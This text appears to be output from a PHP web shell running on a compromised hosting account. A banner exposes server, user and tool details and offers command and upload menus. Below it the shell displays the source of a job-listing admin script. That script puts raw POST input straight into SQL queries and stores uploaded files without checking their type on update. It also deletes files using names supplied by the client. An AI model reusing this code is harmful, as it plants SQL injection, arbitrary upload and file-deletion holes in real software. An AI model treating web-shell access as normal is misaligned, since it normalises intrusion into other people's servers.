Server IP : 162.214.80.37 / Your IP : 216.73.216.83 Web Server : Apache System : Linux sh013.webhostingservices.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64 User : imyrqtmy ( 2189) PHP Version : 8.2.18 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home2/imyrqtmy/public_html/food/admin/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
<?php session_start(); include("includes/config.php"); if(isset($_POST['add_job'])){ // $username = $_POST['username']; // $email = $_POST['email']; $job_heading = $_POST['job_heading']; $job_type = $_POST['job_type']; $job_date = $_POST['job_date']; $job_location = $_POST['job_location']; $category = $_POST['category']; $post = $_POST['post']; $salary = $_POST['salary']; $qualification = $_POST['qualification']; $age_limit = $_POST['age_limit']; $job_detail = $_POST['job_detail']; $photo = $_FILES['photo']['name']; $allowed_extension = array('gif','png','jpg','jpeg','webp','WEBP'); $filename = $_FILES['photo']['name']; $file_extension = pathinfo($filename, PATHINFO_EXTENSION); if(!in_array($file_extension, $allowed_extension)){ $_SESSION['status'] = "This File is Not An Image"; header('Location: job.php'); } else { $query = "INSERT INTO jobs (job_heading, job_type, job_date, job_location, category, post, salary, qualification, age_limit, job_detail, photo) VALUES ('$job_heading','$job_type','$job_date','$job_location','$category','$post','$salary','$qualification', '$age_limit', '$job_detail','$photo')"; $query_run = mysqli_query($conn, $query); if($query_run){ move_uploaded_file($_FILES["photo"]["tmp_name"], "JobImage/".$_FILES["photo"]["name"]); $_SESSION['status'] = "Inserted Successfully"; header('Location: view-job.php'); } else { $_SESSION['status'] = "Not Inserted Successfully"; header('Location: job.php'); } } } if(isset($_POST['update_job'])){ $id = $_POST['id']; $job_heading = $_POST['job_heading']; $job_type = $_POST['job_type']; $job_date = $_POST['job_date']; $job_location = $_POST['job_location']; $category = $_POST['category']; $post = $_POST['post']; $salary = $_POST['salary']; $qualification = $_POST['qualification']; $age_limit = $_POST['age_limit']; $job_detail = $_POST['job_detail']; $old_photo = $_POST['image_old']; $update_filename = $_FILES["photo"]["name"] ? $_FILES["photo"]["name"] : $old_photo; $query = "UPDATE jobs SET job_heading='$job_heading', job_type='$job_type', job_date='$job_date', job_location='$job_location',category='$category', post='$post', salary='$salary', qualification='$qualification', age_limit='$age_limit', job_detail='$job_detail', photo='$update_filename' WHERE id ='$id' "; // print_r($query); // die; $query_run = mysqli_query($conn, $query); if($query_run){ if($_FILES["photo"]["name"] !=''){ move_uploaded_file($_FILES["photo"]["tmp_name"], "JobImage/".$_FILES["photo"]["name"]); unlink("JobImage/". $old_photo); } $_SESSION['status'] = "Image Updated Successfully"; header('Location: view-job.php'); } else { $_SESSION['status'] = "Image Not Updated Successfully"; header('Location: view-job.php'); } } ///DELETE//// if(isset($_POST['delete_job'])){ $id = $_POST['delete_id']; $photo = $_POST['del_job']; $query = "DELETE FROM jobs WHERE id = '$id'"; $query_run = mysqli_query($conn, $query); if($query_run){ unlink("JobImage/".$photo); $_SESSION['status'] = "Deleted Successfully"; header('Location: view-job.php'); }else{ $_SESSION['status'] = "Not Deleted Successfully"; header('Location: view-job.php'); } } ?>